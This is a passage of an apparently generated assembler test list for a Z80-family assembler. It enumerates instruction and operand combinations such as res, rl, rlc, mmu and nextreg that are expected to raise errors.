7, 255 ; Error mmu 7, a ; Error mmu 8, -128 ; Error mmu 8, -128 ; Error mmu 8, 127 ; Error mmu 8, 127 ; Error mmu 8, 255 ; Error mmu 8, 255 ; Error mmu 8, a ; Error mmu 8, a ; Error mmu0 -128 ; Error mmu0 127 ; Error mmu0 255 ; Error mmu0 a ; Error mmu1 -128 ; Error mmu1 127 ; Error mmu1 255 ; Error mmu1 a ; Error mmu2 -128 ; Error mmu2 127 ; Error mmu2 255 ; Error mmu2 a ; Error mmu3 -128 ; Error mmu3 127 ; Error mmu3 255 ; Error mmu3 a ; Error mmu4 -128 ; Error mmu4 127 ; Error mmu4 255 ; Error mmu4 a ; Error mmu5 -128 ; Error mmu5 127 ; Error mmu5 255 ; Error mmu5 a ; Error mmu6 -128 ; Error mmu6 127 ; Error mmu6 255 ; Error mmu6 a ; Error mmu7 -128 ; Error mmu7 127 ; Error mmu7 255 ; Error mmu7 a ; Error mul ; Error mul d, e ; Error mul de ; Error neg a' ; Error nextreg -128, -128 ; Error nextreg -128, a ; Error nextreg 127, 127 ; Error nextreg 127, a ; Error nextreg 255, 255 ; Error nextreg 255, a ; Error or (ix) ; Error or (ix+127) ; Error or (ix-128) ; Error or (iy) ; Error or (iy+127) ; Error or (iy-128) ; Error or a', (hl) ; Error or a', (ix) ; Error or a', (ix+127) ; Error or a', (ix-128) ; Error or a', (iy) ; Error or a', (iy+127) ; Error or a', (iy-128) ; Error or a', -128 ; Error or a', 127 ; Error or a', 255 ; Error or a', a ; Error or a', b ; Error or a', c ; Error or a', d ; Error or a', e ; Error or a', h ; Error or a', l ; Error or a, (ix) ; Error or a, (ix+127) ; Error or a, (ix-128) ; Error or a, (iy) ; Error or a, (iy+127) ; Error or a, (iy-128) ; Error or a, ixh ; Error or a, ixl ; Error or a, iyh ; Error or a, iyl ; Error or hl', de ; Error or hl, de ; Error or ix, de ; Error or ixh ; Error or ixl ; Error or iy, de ; Error or iyh ; Error or iyl ; Error otdm ; Error otdmr ; Error otdr ; Error otim ; Error otimr ; Error otir ; Error out (c), -1 ; Error out (c), -1 ; Error out (c), 0 ; Error out (c), 1 ; Error out (c), 1 ; Error out (c), a ; Error out (c), b ; Error out (c), c ; Error out (c), d ; Error out (c), e ; Error out (c), f ; Error out (c), h ; Error out (c), l ; Error out0 (-128), a ; Error out0 (-128), b ; Error out0 (-128), c ; Error out0 (-128), d ; Error out0 (-128), e ; Error out0 (-128), h ; Error out0 (-128), l ; Error out0 (127), a ; Error out0 (127), b ; Error out0 (127), c ; Error out0 (127), d ; Error out0 (127), e ; Error out0 (127), h ; Error out0 (127), l ; Error out0 (255), a ; Error out0 (255), b ; Error out0 (255), c ; Error out0 (255), d ; Error out0 (255), e ; Error out0 (255), h ; Error out0 (255), l ; Error outd ; Error outi ; Error outinb ; Error ovrst8 ; Error pixelad ; Error pixeldn ; Error pop af' ; Error pop b' ; Error pop bc' ; Error pop d' ; Error pop de' ; Error pop h' ; Error pop hl' ; Error pop ip ; Error pop ix ; Error pop iy ; Error pop su ; Error push -32768 ; Error push 32767 ; Error push 65535 ; Error push ip ; Error push ix ; Error push iy ; Error push su ; Error r_lo ; Error r_lz ; Error rdmode ; Error res -1, (hl) ; Error res -1, (hl) ; Error res -1, (ix) ; Error res -1, (ix) ; Error res -1, (ix), a ; Error res -1, (ix), a ; Error res -1, (ix), b ; Error res -1, (ix), b ; Error res -1, (ix), c ; Error res -1, (ix), c ; Error res -1, (ix), d ; Error res -1, (ix), d ; Error res -1, (ix), e ; Error res -1, (ix), e ; Error res -1, (ix), h ; Error res -1, (ix), h ; Error res -1, (ix), l ; Error res -1, (ix), l ; Error res -1, (ix+127) ; Error res -1, (ix+127) ; Error res -1, (ix+127), a ; Error res -1, (ix+127), a ; Error res -1, (ix+127), b ; Error res -1, (ix+127), b ; Error res -1, (ix+127), c ; Error res -1, (ix+127), c ; Error res -1, (ix+127), d ; Error res -1, (ix+127), d ; Error res -1, (ix+127), e ; Error res -1, (ix+127), e ; Error res -1, (ix+127), h ; Error res -1, (ix+127), h ; Error res -1, (ix+127), l ; Error res -1, (ix+127), l ; Error res -1, (ix-128) ; Error res -1, (ix-128) ; Error res -1, (ix-128), a ; Error res -1, (ix-128), a ; Error res -1, (ix-128), b ; Error res -1, (ix-128), b ; Error res -1, (ix-128), c ; Error res -1, (ix-128), c ; Error res -1, (ix-128), d ; Error res -1, (ix-128), d ; Error res -1, (ix-128), e ; Error res -1, (ix-128), e ; Error res -1, (ix-128), h ; Error res -1, (ix-128), h ; Error res -1, (ix-128), l ; Error res -1, (ix-128), l ; Error res -1, (iy) ; Error res -1, (iy) ; Error res -1, (iy), a ; Error res -1, (iy), a ; Error res -1, (iy), b ; Error res -1, (iy), b ; Error res -1, (iy), c ; Error res -1, (iy), c ; Error res -1, (iy), d ; Error res -1, (iy), d ; Error res -1, (iy), e ; Error res -1, (iy), e ; Error res -1, (iy), h ; Error res -1, (iy), h ; Error res -1, (iy), l ; Error res -1, (iy), l ; Error res -1, (iy+127) ; Error res -1, (iy+127) ; Error res -1, (iy+127), a ; Error res -1, (iy+127), a ; Error res -1, (iy+127), b ; Error res -1, (iy+127), b ; Error res -1, (iy+127), c ; Error res -1, (iy+127), c ; Error res -1, (iy+127), d ; Error res -1, (iy+127), d ; Error res -1, (iy+127), e ; Error res -1, (iy+127), e ; Error res -1, (iy+127), h ; Error res -1, (iy+127), h ; Error res -1, (iy+127), l ; Error res -1, (iy+127), l ; Error res -1, (iy-128) ; Error res -1, (iy-128) ; Error res -1, (iy-128), a ; Error res -1, (iy-128), a ; Error res -1, (iy-128), b ; Error res -1, (iy-128), b ; Error res -1, (iy-128), c ; Error res -1, (iy-128), c ; Error res -1, (iy-128), d ; Error res -1, (iy-128), d ; Error res -1, (iy-128), e ; Error res -1, (iy-128), e ; Error res -1, (iy-128), h ; Error res -1, (iy-128), h ; Error res -1, (iy-128), l ; Error res -1, (iy-128), l ; Error res -1, a ; Error res -1, a ; Error res -1, a' ; Error res -1, a' ; Error res -1, b ; Error res -1, b ; Error res -1, b' ; Error res -1, b' ; Error res -1, c ; Error res -1, c ; Error res -1, c' ; Error res -1, c' ; Error res -1, d ; Error res -1, d ; Error res -1, d' ; Error res -1, d' ; Error res -1, e ; Error res -1, e ; Error res -1, e' ; Error res -1, e' ; Error res -1, h ; Error res -1, h ; Error res -1, h' ; Error res -1, h' ; Error res -1, l ; Error res -1, l ; Error res -1, l' ; Error res -1, l' ; Error res 0, (hl) ; Error res 0, (ix) ; Error res 0, (ix), a ; Error res 0, (ix), b ; Error res 0, (ix), c ; Error res 0, (ix), d ; Error res 0, (ix), e ; Error res 0, (ix), h ; Error res 0, (ix), l ; Error res 0, (ix+127) ; Error res 0, (ix+127), a ; Error res 0, (ix+127), b ; Error res 0, (ix+127), c ; Error res 0, (ix+127), d ; Error res 0, (ix+127), e ; Error res 0, (ix+127), h ; Error res 0, (ix+127), l ; Error res 0, (ix-128) ; Error res 0, (ix-128), a ; Error res 0, (ix-128), b ; Error res 0, (ix-128), c ; Error res 0, (ix-128), d ; Error res 0, (ix-128), e ; Error res 0, (ix-128), h ; Error res 0, (ix-128), l ; Error res 0, (iy) ; Error res 0, (iy), a ; Error res 0, (iy), b ; Error res 0, (iy), c ; Error res 0, (iy), d ; Error res 0, (iy), e ; Error res 0, (iy), h ; Error res 0, (iy), l ; Error res 0, (iy+127) ; Error res 0, (iy+127), a ; Error res 0, (iy+127), b ; Error res 0, (iy+127), c ; Error res 0, (iy+127), d ; Error res 0, (iy+127), e ; Error res 0, (iy+127), h ; Error res 0, (iy+127), l ; Error res 0, (iy-128) ; Error res 0, (iy-128), a ; Error res 0, (iy-128), b ; Error res 0, (iy-128), c ; Error res 0, (iy-128), d ; Error res 0, (iy-128), e ; Error res 0, (iy-128), h ; Error res 0, (iy-128), l ; Error res 0, a ; Error res 0, a' ; Error res 0, b ; Error res 0, b' ; Error res 0, c ; Error res 0, c' ; Error res 0, d ; Error res 0, d' ; Error res 0, e ; Error res 0, e' ; Error res 0, h ; Error res 0, h' ; Error res 0, l ; Error res 0, l' ; Error res 1, (hl) ; Error res 1, (ix) ; Error res 1, (ix), a ; Error res 1, (ix), b ; Error res 1, (ix), c ; Error res 1, (ix), d ; Error res 1, (ix), e ; Error res 1, (ix), h ; Error res 1, (ix), l ; Error res 1, (ix+127) ; Error res 1, (ix+127), a ; Error res 1, (ix+127), b ; Error res 1, (ix+127), c ; Error res 1, (ix+127), d ; Error res 1, (ix+127), e ; Error res 1, (ix+127), h ; Error res 1, (ix+127), l ; Error res 1, (ix-128) ; Error res 1, (ix-128), a ; Error res 1, (ix-128), b ; Error res 1, (ix-128), c ; Error res 1, (ix-128), d ; Error res 1, (ix-128), e ; Error res 1, (ix-128), h ; Error res 1, (ix-128), l ; Error res 1, (iy) ; Error res 1, (iy), a ; Error res 1, (iy), b ; Error res 1, (iy), c ; Error res 1, (iy), d ; Error res 1, (iy), e ; Error res 1, (iy), h ; Error res 1, (iy), l ; Error res 1, (iy+127) ; Error res 1, (iy+127), a ; Error res 1, (iy+127), b ; Error res 1, (iy+127), c ; Error res 1, (iy+127), d ; Error res 1, (iy+127), e ; Error res 1, (iy+127), h ; Error res 1, (iy+127), l ; Error res 1, (iy-128) ; Error res 1, (iy-128), a ; Error res 1, (iy-128), b ; Error res 1, (iy-128), c ; Error res 1, (iy-128), d ; Error res 1, (iy-128), e ; Error res 1, (iy-128), h ; Error res 1, (iy-128), l ; Error res 1, a ; Error res 1, a' ; Error res 1, b ; Error res 1, b' ; Error res 1, c ; Error res 1, c' ; Error res 1, d ; Error res 1, d' ; Error res 1, e ; Error res 1, e' ; Error res 1, h ; Error res 1, h' ; Error res 1, l ; Error res 1, l' ; Error res 2, (hl) ; Error res 2, (ix) ; Error res 2, (ix), a ; Error res 2, (ix), b ; Error res 2, (ix), c ; Error res 2, (ix), d ; Error res 2, (ix), e ; Error res 2, (ix), h ; Error res 2, (ix), l ; Error res 2, (ix+127) ; Error res 2, (ix+127), a ; Error res 2, (ix+127), b ; Error res 2, (ix+127), c ; Error res 2, (ix+127), d ; Error res 2, (ix+127), e ; Error res 2, (ix+127), h ; Error res 2, (ix+127), l ; Error res 2, (ix-128) ; Error res 2, (ix-128), a ; Error res 2, (ix-128), b ; Error res 2, (ix-128), c ; Error res 2, (ix-128), d ; Error res 2, (ix-128), e ; Error res 2, (ix-128), h ; Error res 2, (ix-128), l ; Error res 2, (iy) ; Error res 2, (iy), a ; Error res 2, (iy), b ; Error res 2, (iy), c ; Error res 2, (iy), d ; Error res 2, (iy), e ; Error res 2, (iy), h ; Error res 2, (iy), l ; Error res 2, (iy+127) ; Error res 2, (iy+127), a ; Error res 2, (iy+127), b ; Error res 2, (iy+127), c ; Error res 2, (iy+127), d ; Error res 2, (iy+127), e ; Error res 2, (iy+127), h ; Error res 2, (iy+127), l ; Error res 2, (iy-128) ; Error res 2, (iy-128), a ; Error res 2, (iy-128), b ; Error res 2, (iy-128), c ; Error res 2, (iy-128), d ; Error res 2, (iy-128), e ; Error res 2, (iy-128), h ; Error res 2, (iy-128), l ; Error res 2, a ; Error res 2, a' ; Error res 2, b ; Error res 2, b' ; Error res 2, c ; Error res 2, c' ; Error res 2, d ; Error res 2, d' ; Error res 2, e ; Error res 2, e' ; Error res 2, h ; Error res 2, h' ; Error res 2, l ; Error res 2, l' ; Error res 3, (hl) ; Error res 3, (ix) ; Error res 3, (ix), a ; Error res 3, (ix), b ; Error res 3, (ix), c ; Error res 3, (ix), d ; Error res 3, (ix), e ; Error res 3, (ix), h ; Error res 3, (ix), l ; Error res 3, (ix+127) ; Error res 3, (ix+127), a ; Error res 3, (ix+127), b ; Error res 3, (ix+127), c ; Error res 3, (ix+127), d ; Error res 3, (ix+127), e ; Error res 3, (ix+127), h ; Error res 3, (ix+127), l ; Error res 3, (ix-128) ; Error res 3, (ix-128), a ; Error res 3, (ix-128), b ; Error res 3, (ix-128), c ; Error res 3, (ix-128), d ; Error res 3, (ix-128), e ; Error res 3, (ix-128), h ; Error res 3, (ix-128), l ; Error res 3, (iy) ; Error res 3, (iy), a ; Error res 3, (iy), b ; Error res 3, (iy), c ; Error res 3, (iy), d ; Error res 3, (iy), e ; Error res 3, (iy), h ; Error res 3, (iy), l ; Error res 3, (iy+127) ; Error res 3, (iy+127), a ; Error res 3, (iy+127), b ; Error res 3, (iy+127), c ; Error res 3, (iy+127), d ; Error res 3, (iy+127), e ; Error res 3, (iy+127), h ; Error res 3, (iy+127), l ; Error res 3, (iy-128) ; Error res 3, (iy-128), a ; Error res 3, (iy-128), b ; Error res 3, (iy-128), c ; Error res 3, (iy-128), d ; Error res 3, (iy-128), e ; Error res 3, (iy-128), h ; Error res 3, (iy-128), l ; Error res 3, a ; Error res 3, a' ; Error res 3, b ; Error res 3, b' ; Error res 3, c ; Error res 3, c' ; Error res 3, d ; Error res 3, d' ; Error res 3, e ; Error res 3, e' ; Error res 3, h ; Error res 3, h' ; Error res 3, l ; Error res 3, l' ; Error res 4, (hl) ; Error res 4, (ix) ; Error res 4, (ix), a ; Error res 4, (ix), b ; Error res 4, (ix), c ; Error res 4, (ix), d ; Error res 4, (ix), e ; Error res 4, (ix), h ; Error res 4, (ix), l ; Error res 4, (ix+127) ; Error res 4, (ix+127), a ; Error res 4, (ix+127), b ; Error res 4, (ix+127), c ; Error res 4, (ix+127), d ; Error res 4, (ix+127), e ; Error res 4, (ix+127), h ; Error res 4, (ix+127), l ; Error res 4, (ix-128) ; Error res 4, (ix-128), a ; Error res 4, (ix-128), b ; Error res 4, (ix-128), c ; Error res 4, (ix-128), d ; Error res 4, (ix-128), e ; Error res 4, (ix-128), h ; Error res 4, (ix-128), l ; Error res 4, (iy) ; Error res 4, (iy), a ; Error res 4, (iy), b ; Error res 4, (iy), c ; Error res 4, (iy), d ; Error res 4, (iy), e ; Error res 4, (iy), h ; Error res 4, (iy), l ; Error res 4, (iy+127) ; Error res 4, (iy+127), a ; Error res 4, (iy+127), b ; Error res 4, (iy+127), c ; Error res 4, (iy+127), d ; Error res 4, (iy+127), e ; Error res 4, (iy+127), h ; Error res 4, (iy+127), l ; Error res 4, (iy-128) ; Error res 4, (iy-128), a ; Error res 4, (iy-128), b ; Error res 4, (iy-128), c ; Error res 4, (iy-128), d ; Error res 4, (iy-128), e ; Error res 4, (iy-128), h ; Error res 4, (iy-128), l ; Error res 4, a ; Error res 4, a' ; Error res 4, b ; Error res 4, b' ; Error res 4, c ; Error res 4, c' ; Error res 4, d ; Error res 4, d' ; Error res 4, e ; Error res 4, e' ; Error res 4, h ; Error res 4, h' ; Error res 4, l ; Error res 4, l' ; Error res 5, (hl) ; Error res 5, (ix) ; Error res 5, (ix), a ; Error res 5, (ix), b ; Error res 5, (ix), c ; Error res 5, (ix), d ; Error res 5, (ix), e ; Error res 5, (ix), h ; Error res 5, (ix), l ; Error res 5, (ix+127) ; Error res 5, (ix+127), a ; Error res 5, (ix+127), b ; Error res 5, (ix+127), c ; Error res 5, (ix+127), d ; Error res 5, (ix+127), e ; Error res 5, (ix+127), h ; Error res 5, (ix+127), l ; Error res 5, (ix-128) ; Error res 5, (ix-128), a ; Error res 5, (ix-128), b ; Error res 5, (ix-128), c ; Error res 5, (ix-128), d ; Error res 5, (ix-128), e ; Error res 5, (ix-128), h ; Error res 5, (ix-128), l ; Error res 5, (iy) ; Error res 5, (iy), a ; Error res 5, (iy), b ; Error res 5, (iy), c ; Error res 5, (iy), d ; Error res 5, (iy), e ; Error res 5, (iy), h ; Error res 5, (iy), l ; Error res 5, (iy+127) ; Error res 5, (iy+127), a ; Error res 5, (iy+127), b ; Error res 5, (iy+127), c ; Error res 5, (iy+127), d ; Error res 5, (iy+127), e ; Error res 5, (iy+127), h ; Error res 5, (iy+127), l ; Error res 5, (iy-128) ; Error res 5, (iy-128), a ; Error res 5, (iy-128), b ; Error res 5, (iy-128), c ; Error res 5, (iy-128), d ; Error res 5, (iy-128), e ; Error res 5, (iy-128), h ; Error res 5, (iy-128), l ; Error res 5, a ; Error res 5, a' ; Error res 5, b ; Error res 5, b' ; Error res 5, c ; Error res 5, c' ; Error res 5, d ; Error res 5, d' ; Error res 5, e ; Error res 5, e' ; Error res 5, h ; Error res 5, h' ; Error res 5, l ; Error res 5, l' ; Error res 6, (hl) ; Error res 6, (ix) ; Error res 6, (ix), a ; Error res 6, (ix), b ; Error res 6, (ix), c ; Error res 6, (ix), d ; Error res 6, (ix), e ; Error res 6, (ix), h ; Error res 6, (ix), l ; Error res 6, (ix+127) ; Error res 6, (ix+127), a ; Error res 6, (ix+127), b ; Error res 6, (ix+127), c ; Error res 6, (ix+127), d ; Error res 6, (ix+127), e ; Error res 6, (ix+127), h ; Error res 6, (ix+127), l ; Error res 6, (ix-128) ; Error res 6, (ix-128), a ; Error res 6, (ix-128), b ; Error res 6, (ix-128), c ; Error res 6, (ix-128), d ; Error res 6, (ix-128), e ; Error res 6, (ix-128), h ; Error res 6, (ix-128), l ; Error res 6, (iy) ; Error res 6, (iy), a ; Error res 6, (iy), b ; Error res 6, (iy), c ; Error res 6, (iy), d ; Error res 6, (iy), e ; Error res 6, (iy), h ; Error res 6, (iy), l ; Error res 6, (iy+127) ; Error res 6, (iy+127), a ; Error res 6, (iy+127), b ; Error res 6, (iy+127), c ; Error res 6, (iy+127), d ; Error res 6, (iy+127), e ; Error res 6, (iy+127), h ; Error res 6, (iy+127), l ; Error res 6, (iy-128) ; Error res 6, (iy-128), a ; Error res 6, (iy-128), b ; Error res 6, (iy-128), c ; Error res 6, (iy-128), d ; Error res 6, (iy-128), e ; Error res 6, (iy-128), h ; Error res 6, (iy-128), l ; Error res 6, a ; Error res 6, a' ; Error res 6, b ; Error res 6, b' ; Error res 6, c ; Error res 6, c' ; Error res 6, d ; Error res 6, d' ; Error res 6, e ; Error res 6, e' ; Error res 6, h ; Error res 6, h' ; Error res 6, l ; Error res 6, l' ; Error res 7, (hl) ; Error res 7, (ix) ; Error res 7, (ix), a ; Error res 7, (ix), b ; Error res 7, (ix), c ; Error res 7, (ix), d ; Error res 7, (ix), e ; Error res 7, (ix), h ; Error res 7, (ix), l ; Error res 7, (ix+127) ; Error res 7, (ix+127), a ; Error res 7, (ix+127), b ; Error res 7, (ix+127), c ; Error res 7, (ix+127), d ; Error res 7, (ix+127), e ; Error res 7, (ix+127), h ; Error res 7, (ix+127), l ; Error res 7, (ix-128) ; Error res 7, (ix-128), a ; Error res 7, (ix-128), b ; Error res 7, (ix-128), c ; Error res 7, (ix-128), d ; Error res 7, (ix-128), e ; Error res 7, (ix-128), h ; Error res 7, (ix-128), l ; Error res 7, (iy) ; Error res 7, (iy), a ; Error res 7, (iy), b ; Error res 7, (iy), c ; Error res 7, (iy), d ; Error res 7, (iy), e ; Error res 7, (iy), h ; Error res 7, (iy), l ; Error res 7, (iy+127) ; Error res 7, (iy+127), a ; Error res 7, (iy+127), b ; Error res 7, (iy+127), c ; Error res 7, (iy+127), d ; Error res 7, (iy+127), e ; Error res 7, (iy+127), h ; Error res 7, (iy+127), l ; Error res 7, (iy-128) ; Error res 7, (iy-128), a ; Error res 7, (iy-128), b ; Error res 7, (iy-128), c ; Error res 7, (iy-128), d ; Error res 7, (iy-128), e ; Error res 7, (iy-128), h ; Error res 7, (iy-128), l ; Error res 7, a ; Error res 7, a' ; Error res 7, b ; Error res 7, b' ; Error res 7, c ; Error res 7, c' ; Error res 7, d ; Error res 7, d' ; Error res 7, e ; Error res 7, e' ; Error res 7, h ; Error res 7, h' ; Error res 7, l ; Error res 7, l' ; Error res 8, (hl) ; Error res 8, (hl) ; Error res 8, (ix) ; Error res 8, (ix) ; Error res 8, (ix), a ; Error res 8, (ix), a ; Error res 8, (ix), b ; Error res 8, (ix), b ; Error res 8, (ix), c ; Error res 8, (ix), c ; Error res 8, (ix), d ; Error res 8, (ix), d ; Error res 8, (ix), e ; Error res 8, (ix), e ; Error res 8, (ix), h ; Error res 8, (ix), h ; Error res 8, (ix), l ; Error res 8, (ix), l ; Error res 8, (ix+127) ; Error res 8, (ix+127) ; Error res 8, (ix+127), a ; Error res 8, (ix+127), a ; Error res 8, (ix+127), b ; Error res 8, (ix+127), b ; Error res 8, (ix+127), c ; Error res 8, (ix+127), c ; Error res 8, (ix+127), d ; Error res 8, (ix+127), d ; Error res 8, (ix+127), e ; Error res 8, (ix+127), e ; Error res 8, (ix+127), h ; Error res 8, (ix+127), h ; Error res 8, (ix+127), l ; Error res 8, (ix+127), l ; Error res 8, (ix-128) ; Error res 8, (ix-128) ; Error res 8, (ix-128), a ; Error res 8, (ix-128), a ; Error res 8, (ix-128), b ; Error res 8, (ix-128), b ; Error res 8, (ix-128), c ; Error res 8, (ix-128), c ; Error res 8, (ix-128), d ; Error res 8, (ix-128), d ; Error res 8, (ix-128), e ; Error res 8, (ix-128), e ; Error res 8, (ix-128), h ; Error res 8, (ix-128), h ; Error res 8, (ix-128), l ; Error res 8, (ix-128), l ; Error res 8, (iy) ; Error res 8, (iy) ; Error res 8, (iy), a ; Error res 8, (iy), a ; Error res 8, (iy), b ; Error res 8, (iy), b ; Error res 8, (iy), c ; Error res 8, (iy), c ; Error res 8, (iy), d ; Error res 8, (iy), d ; Error res 8, (iy), e ; Error res 8, (iy), e ; Error res 8, (iy), h ; Error res 8, (iy), h ; Error res 8, (iy), l ; Error res 8, (iy), l ; Error res 8, (iy+127) ; Error res 8, (iy+127) ; Error res 8, (iy+127), a ; Error res 8, (iy+127), a ; Error res 8, (iy+127), b ; Error res 8, (iy+127), b ; Error res 8, (iy+127), c ; Error res 8, (iy+127), c ; Error res 8, (iy+127), d ; Error res 8, (iy+127), d ; Error res 8, (iy+127), e ; Error res 8, (iy+127), e ; Error res 8, (iy+127), h ; Error res 8, (iy+127), h ; Error res 8, (iy+127), l ; Error res 8, (iy+127), l ; Error res 8, (iy-128) ; Error res 8, (iy-128) ; Error res 8, (iy-128), a ; Error res 8, (iy-128), a ; Error res 8, (iy-128), b ; Error res 8, (iy-128), b ; Error res 8, (iy-128), c ; Error res 8, (iy-128), c ; Error res 8, (iy-128), d ; Error res 8, (iy-128), d ; Error res 8, (iy-128), e ; Error res 8, (iy-128), e ; Error res 8, (iy-128), h ; Error res 8, (iy-128), h ; Error res 8, (iy-128), l ; Error res 8, (iy-128), l ; Error res 8, a ; Error res 8, a ; Error res 8, a' ; Error res 8, a' ; Error res 8, b ; Error res 8, b ; Error res 8, b' ; Error res 8, b' ; Error res 8, c ; Error res 8, c ; Error res 8, c' ; Error res 8, c' ; Error res 8, d ; Error res 8, d ; Error res 8, d' ; Error res 8, d' ; Error res 8, e ; Error res 8, e ; Error res 8, e' ; Error res 8, e' ; Error res 8, h ; Error res 8, h ; Error res 8, h' ; Error res 8, h' ; Error res 8, l ; Error res 8, l ; Error res 8, l' ; Error res 8, l' ; Error res.a -1, (hl) ; Error res.a -1, (hl) ; Error res.a -1, (ix) ; Error res.a -1, (ix) ; Error res.a -1, (ix+127) ; Error res.a -1, (ix+127) ; Error res.a -1, (ix-128) ; Error res.a -1, (ix-128) ; Error res.a -1, (iy) ; Error res.a -1, (iy) ; Error res.a -1, (iy+127) ; Error res.a -1, (iy+127) ; Error res.a -1, (iy-128) ; Error res.a -1, (iy-128) ; Error res.a -1, a ; Error res.a -1, a ; Error res.a -1, b ; Error res.a -1, b ; Error res.a -1, c ; Error res.a -1, c ; Error res.a -1, d ; Error res.a -1, d ; Error res.a -1, e ; Error res.a -1, e ; Error res.a -1, h ; Error res.a -1, h ; Error res.a -1, l ; Error res.a -1, l ; Error res.a 0, (ix) ; Error res.a 0, (ix+127) ; Error res.a 0, (ix-128) ; Error res.a 0, (iy) ; Error res.a 0, (iy+127) ; Error res.a 0, (iy-128) ; Error res.a 1, (ix) ; Error res.a 1, (ix+127) ; Error res.a 1, (ix-128) ; Error res.a 1, (iy) ; Error res.a 1, (iy+127) ; Error res.a 1, (iy-128) ; Error res.a 2, (ix) ; Error res.a 2, (ix+127) ; Error res.a 2, (ix-128) ; Error res.a 2, (iy) ; Error res.a 2, (iy+127) ; Error res.a 2, (iy-128) ; Error res.a 3, (ix) ; Error res.a 3, (ix+127) ; Error res.a 3, (ix-128) ; Error res.a 3, (iy) ; Error res.a 3, (iy+127) ; Error res.a 3, (iy-128) ; Error res.a 4, (ix) ; Error res.a 4, (ix+127) ; Error res.a 4, (ix-128) ; Error res.a 4, (iy) ; Error res.a 4, (iy+127) ; Error res.a 4, (iy-128) ; Error res.a 5, (ix) ; Error res.a 5, (ix+127) ; Error res.a 5, (ix-128) ; Error res.a 5, (iy) ; Error res.a 5, (iy+127) ; Error res.a 5, (iy-128) ; Error res.a 6, (ix) ; Error res.a 6, (ix+127) ; Error res.a 6, (ix-128) ; Error res.a 6, (iy) ; Error res.a 6, (iy+127) ; Error res.a 6, (iy-128) ; Error res.a 7, (ix) ; Error res.a 7, (ix+127) ; Error res.a 7, (ix-128) ; Error res.a 7, (iy) ; Error res.a 7, (iy+127) ; Error res.a 7, (iy-128) ; Error res.a 8, (hl) ; Error res.a 8, (hl) ; Error res.a 8, (ix) ; Error res.a 8, (ix) ; Error res.a 8, (ix+127) ; Error res.a 8, (ix+127) ; Error res.a 8, (ix-128) ; Error res.a 8, (ix-128) ; Error res.a 8, (iy) ; Error res.a 8, (iy) ; Error res.a 8, (iy+127) ; Error res.a 8, (iy+127) ; Error res.a 8, (iy-128) ; Error res.a 8, (iy-128) ; Error res.a 8, a ; Error res.a 8, a ; Error res.a 8, b ; Error res.a 8, b ; Error res.a 8, c ; Error res.a 8, c ; Error res.a 8, d ; Error res.a 8, d ; Error res.a 8, e ; Error res.a 8, e ; Error res.a 8, h ; Error res.a 8, h ; Error res.a 8, l ; Error res.a 8, l ; Error ret lo ; Error ret lz ; Error reti ; Error retn ; Error rim ; Error rl (hl) ; Error rl (ix) ; Error rl (ix), a ; Error rl (ix), b ; Error rl (ix), c ; Error rl (ix), d ; Error rl (ix), e ; Error rl (ix), h ; Error rl (ix), l ; Error rl (ix+127) ; Error rl (ix+127), a ; Error rl (ix+127), b ; Error rl (ix+127), c ; Error rl (ix+127), d ; Error rl (ix+127), e ; Error rl (ix+127), h ; Error rl (ix+127), l ; Error rl (ix-128) ; Error rl (ix-128), a ; Error rl (ix-128), b ; Error rl (ix-128), c ; Error rl (ix-128), d ; Error rl (ix-128), e ; Error rl (ix-128), h ; Error rl (ix-128), l ; Error rl (iy) ; Error rl (iy), a ; Error rl (iy), b ; Error rl (iy), c ; Error rl (iy), d ; Error rl (iy), e ; Error rl (iy), h ; Error rl (iy), l ; Error rl (iy+127) ; Error rl (iy+127), a ; Error rl (iy+127), b ; Error rl (iy+127), c ; Error rl (iy+127), d ; Error rl (iy+127), e ; Error rl (iy+127), h ; Error rl (iy+127), l ; Error rl (iy-128) ; Error rl (iy-128), a ; Error rl (iy-128), b ; Error rl (iy-128), c ; Error rl (iy-128), d ; Error rl (iy-128), e ; Error rl (iy-128), h ; Error rl (iy-128), l ; Error rl a ; Error rl a' ; Error rl b ; Error rl b' ; Error rl c ; Error rl c' ; Error rl d ; Error rl d' ; Error rl de' ; Error rl e ; Error rl e' ; Error rl h ; Error rl h' ; Error rl l ; Error rl l' ; Error rla' ; Error rlc (hl) ; Error rlc (ix) ; Error rlc (ix), a ; Error rlc (ix), b ; Error rlc (ix), c ; Error rlc (ix), d ; Error rlc (ix), e ; Error rlc (ix), h ; Error rlc (ix), l ; Error rlc (ix+127) ; Error rlc (ix+127), a ; Error rlc (ix+127), b ; Error rlc (ix+127), c ; Error rlc (ix+127), d ; Error rlc (ix+127), e ; Error rlc (ix+127), h ; Error rlc (ix+127), l ; Error rlc (ix-128) ; Error rlc (ix-128), a ; Error rlc (ix-128), b ; Error rlc (ix-128), c ; Error rlc (ix-128), d ; Error rlc (ix-128), e ; Error rlc (ix-128), h ; Error rlc (ix-128), l ; Error rlc (iy) ; Error rlc (iy), a ; Error rlc (iy), b ; Error rlc (iy), c ; Error rlc (iy), d ; Error rlc (iy), e ; Error rlc (iy), h ; Error rlc (iy), l ; Error rlc (iy+127) ; Error rlc (iy+127), a ; Error rlc (iy+127), b ; Error rlc (iy+127), c ; Error rlc (iy+127), d ; Error rlc (iy+127), e ; Error rlc (iy+127), h ; Error rlc (iy+127), l ; Error rlc (iy-128) ; Error rlc (iy-128), a ; Error rlc (iy-128), b ; Error rlc (iy-128), c ; Error rlc (iy-128), d ; Error rlc (iy-128), e ; Error rlc (iy-128), h ; Error rlc (iy-128), l ; Error rlc a ; Error rlc a' ; Error rlc b ; Error rlc b' ; Error rlc c ; Error rlc c' ; Error rlc d ; Error rlc d' ; Error rlc e ; Error rlc e' ; Error rlc h ; Error rlc h' ; Error rlc l ; Error rlc l' ; Error rlca' ; Error rlo ; Error rlz ; Error rr (hl) ; Error rr (ix) ; Error rr (ix), a ; Error rr (ix), b ; Error rr (ix), c ; Error rr (ix), d ; Error rr (ix), e ; Error rr (ix), h ; Error rr (ix), l ; Error rr (ix+127) ; Error rr (ix+127), a ; Error rr (ix+127), b ; Error rr (ix+127), c ; Error rr (ix+127), d ; Error rr (ix+127), e ; Error rr (ix+127), h ; Error rr (ix+127), l ; Error rr (ix-128) ; Error rr (ix-128), a ; Error rr (ix-128), b ; Error rr (ix-128), c ; Error rr (ix-128), d ; Error rr (ix-128), e ; Error rr (ix-128), h ; Error rr (ix-128), l ; Error rr (iy) ; Error rr (iy), a ; Error rr (iy), b ; Error rr (iy), c ; Error rr (iy), d ; Error rr (iy), e ; Error rr (iy), h ; Error rr (iy), l ; Error rr (iy+127) ; Error rr (iy+127), a ; Error rr (iy+127), b ; Error rr (iy+127), c ; Error rr (iy+127), d ; Error rr 